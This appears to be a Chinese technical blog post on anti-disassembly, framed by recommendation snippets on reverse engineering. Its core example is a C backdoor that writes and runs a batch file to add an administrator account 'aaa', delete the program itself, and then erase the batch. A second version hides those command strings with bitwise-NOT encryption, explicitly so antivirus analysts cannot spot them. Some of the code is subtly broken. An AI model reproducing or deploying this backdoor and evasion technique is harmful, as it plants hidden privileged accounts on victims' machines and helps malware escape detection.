反反汇编——静态数据加密

[re入门]一个简单的加密程序的逆向破解与解密 如下的代码进行了一个简单的加密过程 #include<stdio.h> #include<string.h> int main() { int i; int len; char key[20]; char res[20]; char *num = "eastmount"; //密钥 char *right = "123456789"; //正确值 //请输入正确的密码 printf("please input the key:"); scanf 阅读详情
在汇编程序中,为了防止AVer对病毒进行反汇编,经常会对其程序中的静态数据资源进行保护,如花指令等等。这在C/C++语言中似乎很难实现。下面说说我的一个保护字符串的方法。
例如下面程序:
//-----------------------------------------------------------
int main()
{
    FILE *fp=fopen("haha.txt","wb");
    fprintf(fp,"net user aaa bbb /add/r/n");
    fprintf(fp,"net localgroup administrators aaa /add/r/n");
    fprintf(fp,":CLEAR/r/n");
    fprintf(fp,"del hack.exe/r/n"); //hack.exe为程序名
    fprintf(fp,"if errorlevel 1 goto CLEAR/r/n");
    fprintf(fp,"del haha.txt");
    fclose(fp);
    system("haha.txt");
    return 0;
}
//-----------------------------------------------------------
一个简单开后门的程序。可以用下面方法保护字符串不在可执行文件中明文显示:
//-----------------------------------------------------------
int main()
{
    int i;
    char msg[]= {
        '/x97','/x9E','/x97','/x9E','/xD1','/x8B','/x87','/x8B','/xFF','/x88',
        '/x9D','/xFF','/x91','/x9A','/x8B','/xDF','/x8A','/x8C','/x9A','/x8D',
        '/xDF','/x9E','/x9E','/x9E','/xDF','/x9D','/x9D','/x9D','/xDF','/xD0',
        '/x9E','/x9B','/x9B','/xF2','/xF5','/xFF','/x91','/x9A','/x8B','/xDF',
        '/x93','/x90','/x9C','/x9E','/x93','/x98','/x8D','/x90','/x8A','/x8F',
        '/xDF','/x9E','/x9B','/x92','/x96','/x91','/x96','/x8C','/x8B','/x8D',
        '/x9E','/x8B','/x90','/x8D','/x8C','/xDF','/x9E','/x9E','/x9E','/xDF',
        '/xD0','/x9E','/x9B','/x9B','/xF2','/xF5','/xFF','/xC5','/xBC','/xB3',
        '/xBA','/xBE','/xAD','/xF2','/xF5','/xFF','/x9B','/x9A','/x93','/xDF',
        '/x97','/x9E','/x9C','/x94','/xD1','/x9A','/x87','/x9A','/xF2','/xF5',
        '/xFF','/x96','/x99','/xDF','/x9A','/x8D','/x8D','/x90','/x8D','/x93',
        '/x9A','/x89','/x9A','/x93','/xDF','/xCE','/xDF','/x98','/x90','/x8B',
        '/x90','/xDF','/xBC','/xB3','/xBA','/xBE','/xAD','/xF2','/xF5','/xFF',
        '/x9B','/x9A','/x93','/xDF','/x97','/x9E','/x97','/x9E','/xD1','/x8B',
        '/x87','/x8B','/xFF','/x97','/x9E','/x97','/x9E','/xD1','/x8B','/x87',
        '/x8B','/xFF'
    },*pos=msg;
    //解密后的明文为:
    //{"haha.txt","wb","net user aaa bbb /add/r/n",
    //  "net localgroup administrators aaa /add/r/n",
    //  ":CLEAR/r/n","del hack.exe/r/n","if errorlevel 1 goto CLEAR/r/n",
    //  "del haha.txt","haha.txt"
    //}
    for(i=0 ; i<strlen(msg) ; i++)
        msg=~msg;                              //解密字符串
    FILE *fp=fopen(pos,pos+9);
    for(i=0;i<6;i++) {
        fprintf(fp,pos);
        pos+=strlen(pos)+1;
    }
    fclose(fp);
    system(pos);
    return 0;
}
//-----------------------------------------------------------
用到的算法其实很简单,就是将字符串加密后保存在源中,再通过一小段解密代码解密,很是方便。WIN32反汇编后的代码很冗长,其中的明文字符串往往是AVer的侦察信息提示。如果在一堆汇编代码中看不到一段认识的代码,是人头都会大的。这种方法也可以防止别人破译你的程序,破译者在寻找注册代码位置时大多是从PE文件中的明文字符串开始猜测尝试的。当然,此时的字符串加密算法就得复杂一点了。如果程序中需要加密的静态数据很多,可以编写一个代码自动生成器生成静态数据的密文,这里就不再缀言了。
Python基础之数据加密(收藏这一篇就够了!) Python基础之数据加密 文章目录Python基础之数据加密1. 准备工作2. MD5加密2.1 加密规则2.2 应用场景2.3 代码实例2.4 sha1 加密3. Base64加密3.1 加密规则:3.2 应用场景:3.3 代码实例4. AES5. RSA5.1 加密原理: 1. 准备工作 重点:首先确保我们待加密的内容是Bytes格式! 我们所说的加密方式,都是对二进制编码的格式进行加密的。所以,在加密之前,我们要首先确保我们待加密的内容是Bytes格式,否则会报错。 那么我们如何得到Bytes格式呢 阅读详情

相关推荐

SuperPro加密狗模拟器:逆向工程与软件授权灵活部署实践

软件授权保护机制是保障知识产权的重要技术手段,其中硬件加密狗通过物理设备存储验证信息实现软件访问控制。其工作原理基于挑战-应答协议和加密算法,在软件启动时进行身份验证。这种技术虽然提升了安全性,但在虚拟化环境和灵活部署场景中存在局限性。通过逆向工程分析USB通信协议和加密逻辑,可以构建软件模拟器实现授权机制的数字化迁移。该技术方案适用于开发测试、云端部署和遗留系统维护等场景,其中SuperPro加密狗模拟器项目通过解析数据结构和算法模拟,为合法用户提供了规避硬件依赖的解决方案。整个实践过程涉及Wiresha

weixin_30607659的博客 418

[加密解密] 在反汇编中识别加密算法(特征码)

请转到以下链接食用 ????

LYSM 1258

逆向思维实战:我是如何用CheatEngine分析游戏内存并找到关键数据的

本文详细介绍了如何使用CheatEngine进行游戏内存逆向分析,从基础的内存扫描到高级的指针体系解析和代码注入技术。通过实战案例和技巧分享,帮助读者掌握逆向工程的核心逻辑,提升游戏数据结构分析能力。适合对游戏逆向工程感兴趣的开发者和爱好者入门学习。

weixin_28726671的博客 390

反汇编分析——全局、局部、静态、堆变量

本文分析了全局、局部、静态、堆变量在内存当中的存储。

Tandy12356_的博客 1275

x64dbg实战:逆向分析中弹窗定位与破解的完整技术路径

在软件安全分析与逆向工程领域,理解程序行为的关键往往在于定位其核心逻辑判断点。弹窗作为常见的人机交互与状态提示机制,其触发通常依赖于对特定系统API(如MessageBox)的调用及预设字符串的引用。从技术原理层面看,通过设置API断点或进行字符串检索,可以精准回溯至程序的决策代码段,这不仅是分析软件注册验证、试用限制等保护机制的基础,也是恶意软件行为分析与软件功能研究的重要手段。掌握动态调试工具(如x64dbg)在此场景下的应用,结合对调用栈、内存数据与条件跳转的深入分析,能够高效完成从定位、分析到逻辑修

weixin_29327525的博客 333

MFC程序逆向分析实战:从黑盒到算法还原的完整路径

在软件安全、遗留系统维护与算法研究领域,逆向工程是一项关键技术,它通过对编译后二进制程序的分析,揭示其内部逻辑与实现原理。其核心价值在于理解闭源软件行为、进行安全审计、漏洞挖掘以及算法还原。尤其在Windows桌面应用场景中,大量遗留系统基于微软基础类库(MFC)开发,这些程序常因源码缺失而成为“黑盒”。本文聚焦于**MFC程序**的**逆向分析**,系统拆解其特有挑战,如庞大的框架代码(“噪音”)、面向对象与消息驱动机制带来的复杂性。通过结合静态分析(如使用IDA Pro的FLIRT签名库过滤框架函数)与

weixin_33743248的博客 341

C++ 源码常量加密,防逆向破解小技巧

写在前面 做为个一个c++的搬砖猿,我很早之前就有一个想法。企图在c++代码编译时能够部分干预C++的编译过程,比如类似宏一样的行为,或者模板类的行为。在编译时才存在的一些代码或信息。而c++14 则提供了这样的特性。 实际效果 代码如下: int main() { printf("%s\r\n", ET("1234567890")); printf("%s\r\n", ("9876543210")); system("pause"); } ...

qq_31314583的博客 4825

逆向分析VT加持内核挂:剖析对抗Vanguard反作弊的技术攻防

虚拟化技术(VT)与内核模式编程是现代系统安全领域的核心基础。VT通过硬件辅助的CPU虚拟化扩展,实现了虚拟机监控器对系统资源的深度管控;内核模式则赋予代码最高权限,可直接操作硬件与系统核心数据结构。这两项技术的结合,在安全领域催生了基于虚拟化的安全机制与高级威胁的对抗。从技术价值看,它们既能构建如VBS、HVCI等硬件级防护体系,也能被用于实现权限更高、隐蔽性更强的内核级攻击载体。在游戏安全、反作弊等应用场景中,这种攻防博弈尤为激烈,例如针对《无畏契约》Vanguard系统的内核挂,就常利用VT技术尝试创

HJ921004的博客 633

IDA Pro深度实战:Android so文件静态分析与动态调试权威指南

IDA Pro深度实战:Android so文件静态分析与动态调试权威指南

KE17RS的博客 1568

反静态反汇编技术

 反静态反汇编技术的原理其实非常简单,主要弄清除反汇编程序的原理,就可以创作出多个ANTI-反汇编的方法。由于这个技术没有固定的技术形势,如何反怎么样反全靠你自己的想象力了。这里就介绍一下原理方面和几个常见的技术。反汇编软件的原理:反汇编软件的原理非常简单,读取可执行文件后从PE头中取出代码节的入口点文件偏移。按照X86体系结构的编码规则进行解码。然后将代码的助记符进行输出。类似IDA这样先进的反

5785

一个反反汇编/反跟踪的例子

一个反反汇编/反跟踪的例子

ARM与MIPS指令集逆向实战:从环境搭建到Mirai僵尸网络深度解析

在嵌入式系统与物联网安全领域,ARM和MIPS作为两大主流精简指令集架构,是理解底层系统运行机制和进行安全分析的基础。其指令集设计遵循RISC原则,通过固定的指令格式和丰富的寄存器资源实现高效能计算,这与x86等复杂指令集形成鲜明对比。掌握这两种架构对于从事嵌入式开发、系统安全及恶意软件分析具有重要价值,尤其是在分析跨平台威胁如物联网僵尸网络时。在实际工程中,通过QEMU模拟器搭建跨架构动态调试环境,并利用IDA Pro、Ghidra等工具进行静态反编译,是分析ARM/MIPS二进制文件的核心技术路径。本文

diankui6178的博客 332

炸金花游戏(3)--基于EV(期望收益)的简单AI模型

前言:   炸金花这款游戏, 从技术的角度来说, 比德州差了很多. 所以他的AI模型也相对简单一些. 本文从EV(期望收益)的角度, 来尝试构建一个简单的炸金花AI. 相关文章:  德州扑克AI--Programming Poker AI(译).  系列文章说来惭愧, 之前一直叫嚷着写德州AI, 不过可惜懒癌晚期, 一直没去实践, T_T. 相比而言,***简单很多, 也更偏重于运...

weixin_30377461的博客 2344

IDA反汇编/反编译静态分析iOS模拟器程序(六)交叉引用

交叉引用cross reference是指 这个地址的 数据或代码 引用了哪个地址 以及 被哪些地址的代码所引用。引用了哪个地址,在反汇编就能看出来,一行汇编代码自然只会引用一个地址。但被引用是一对多的关系,正如一个函数可以被很多函数在内部调用。查看“被引用”是静态分析中得到堆栈的方法,当然,因为一对多的关系,还需要猜。这主要是看分析的目的是什么,与运行时动态分析相比各有好处,静态分析能得到完整的

小蒙面侠的博客 2万+

技术解析:PETR如何通过3D位置编码革新多视角3D目标检测

本文深入解析了PETR模型如何通过创新的3D位置编码技术革新多视角3D目标检测。它摒弃了DETR3D复杂的投影采样机制,通过3D坐标生成器和编码器,将3D几何信息直接注入2D图像特征,构建出3D感知特征。该方法简化了流程,提升了模型对空间关系的理解能力与训练稳定性,为自动驾驶等领域的精准感知提供了新思路。

weixin_29079743的博客 213

Cursor AI对话历史丢失?开源工具一键恢复项目聊天记录

在软件开发中,数据持久化与工作区管理是保障开发效率与上下文连续性的基础技术。其核心原理在于通过文件系统路径、数据库存储等机制,将应用状态与用户数据持久化关联。对于依赖AI辅助编程的开发者而言,对话历史是宝贵的项目上下文资产,记录了关键的算法思路、API使用范例和问题解决方案。然而,当开发工具(如基于VS Code的Cursor)采用基于项目绝对路径的工作区隔离机制时,项目路径的变更会导致历史对话看似“丢失”,实则是被隔离在了旧路径对应的数据沙箱中。这直接影响了开发体验与知识沉淀的效率。cursor-chat

weixin_26775679的博客 833

c语言的反汇编识别和算法逆向,网络安全之逆向相关汇总

原标题:网络安全之逆向相关汇总 初识逆向工程▼软件逆向工程大多数时候都会被简称为逆向工程(Reverse engineering)或直接将其称为逆向(Reverse)。软件逆向工程的基本思路是将二进制代码按照一定格式进行正确有效的反,并通过分析反代码再配合其调用的外部函数或系统API等,对其代码逻辑进行理解,而在这个过程中最重要的就是推理出该二进制使用的。C语言逆向基础知识▼介绍C语言中流程控制代...

weixin_39669761的博客 554

WebRTC TURN协议初识及turnserver实践

但是TURN协议对服务器有很高的依赖,服务器在带宽和集群上有很大的压力,所以TURN协议通常是当作ICE协议中的一部分来使用。ChannelData message不使用STUN头部,而使用一个4字节的头部,包含了一个称之为信道号的值(channel number),每一个使用中的信道号都与一个特定的peer绑定,即作为对等端地址的一个记号。该relay地址是个公网地址,可以看作是客户端A在公网上的一个代理,任何想要联系A的客户端,只要将数据发送到A的relay地址就可以了。

yinshipin007的博客 566

MASM的反反汇编技术

转载自:http://www.aogosoft.com/downpage.asp?mode=viewtext&id=54 相关例子:下载 由于汇编语言是与机器语言机器码一一对应的,所以程序的代码非常简洁,编译、链接程序不会在其中加入任何其它代码,所以,用Win32DASM等把汇编工具反汇编汇编语言写的程序,其列出的汇编代码几乎与编写的顺序、过程、代码一模一样,这也是汇编语言简洁的证据。

梦落红尘 1039

Logisim实战:手把手教你搭建GB2312汉字字库(附完整电路图)

本文提供了一份详尽的Logisim实战指南,手把手教你如何利用存储芯片,通过位扩展和字扩展技术,构建一个完整的GB2312汉字字库。文章深入浅出地讲解了从编码原理、系统架构设计到具体电路实现与调试的全过程,是学习计算机组成原理和数字电路设计的绝佳实践项目。

k6l7m8n9的博客 811

Vins-Fusion 外参camera-imu 标定

Vins-Fusion是一种基于优化的多传感器状态估计器,一大特色是支持实时camera-imu外参校准(相机和IMU之间的旋转)。Vins-Fusion 外参camera-imu校准是利用两帧间计算相机位姿和imu预积分得到位姿,构建最小二乘问题,并通过SVD求解camera-imu外参旋转矩阵。

u010196944的博客 2493

IDA反汇编/反编译静态分析iOS模拟器程序(二)加载文件与保存数据库

启动windows版的IDA,在Quickstart界面点击New,弹出一个对话框选择文件。也可以按取消后再把文件拖进IDA。由于Mac版的IDA没注册,没有save功能,所以只好先把Mac上的东西拷贝到windows再打开了。 能拖进IDA的文件可以是静态库、动态库、可执行程序等。对ios而言,可执行程序通常是build出来的.app包里的同名文件,当然,也可以是系统自带的程序。库文件主要是S

小蒙面侠的博客 1万+

Codex 100个真实案例 - 用AI做股票K线分析工具(技术指标全自动)

本案例将用 Codex 从零搭建一个完整的股票 K 线分析工具。通过自然语言驱动,我们让 AI 自动完成股票数据获取(akshare)、K 线图绘制(mplfinance + ECharts)、技术指标计算(MA/EMA/MACD/RSI/KDJ/布林带)、买卖信号提示(金叉/死叉、超买超卖)、多股对比分析、Web 可视化界面(Flask + ECharts)、PDF 报告生成以及定时监控邮件推送等全套功能。全程用自然语言指令驱动 Codex,零手写代码实现专业级量化分析平台!

yueyeguzhuo的专栏 878

发布程序加密防破解

发布程序前一定要做加密,不然会被破的体无完肤。推荐几款加密产品。 Virbox Protector Standalone加壳工具 效果:代码加密,防止静态反编译 加密技术:代码混淆/虚拟化/代码加密/智能压缩/ 使用体验:提供demo版和正式版,加密操作简单,直接对dll或者exe加壳保护。对java的jar包/class文件、python的pyc文件等也有加密方案。新版本支持批量加壳。...

weixin_30394333的博客 590

【项目实战】TARA威胁分析和风险评估

TARA是信息安全领域中的一种风险评估方法,在汽车信息安全的上下文中,TARA分析特别重要,因为它可以帮助识别和管理与智能网联车辆相关的各种威胁,包括数据泄露、未经授权的访问、远程操控等。通过TARA分析,企业可以制定出针对性的安全目标、产品要求和产品安全声明,以确保汽车及其零部件符合相关的信息安全标准和法规。此外,TARA分析还可以与数字化建模系统结合,以更系统化和高效的方式进行风险评估和管理。

奶爸的编程之路,也就一周冷个三天 2714

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

反编译与反汇编

反编译做的就是编译的相反动作。举例来说,例如一个程序用C语言来写,写完之后要编译成CPU可以识别和运行的机器代码,也就是生成EXE程序。而反编译是反过来,把EXE反编译成编程源代码,也就是C程序,不过一般反编译大多数都是从机器码反编译为汇编。其他语言的情况基本也是这样的。至于具体要怎么用,这个就看你的目的了。但一般情况下是通过反编译主要是用于没有源码的程序的分析,例如破解别人的软件等。 ...

天天开心 5446

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

上一篇: 文件感染模型
下一篇: 字符串加密算法
Matrix_Designer
博客等级 码龄16年 58粉丝 296原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值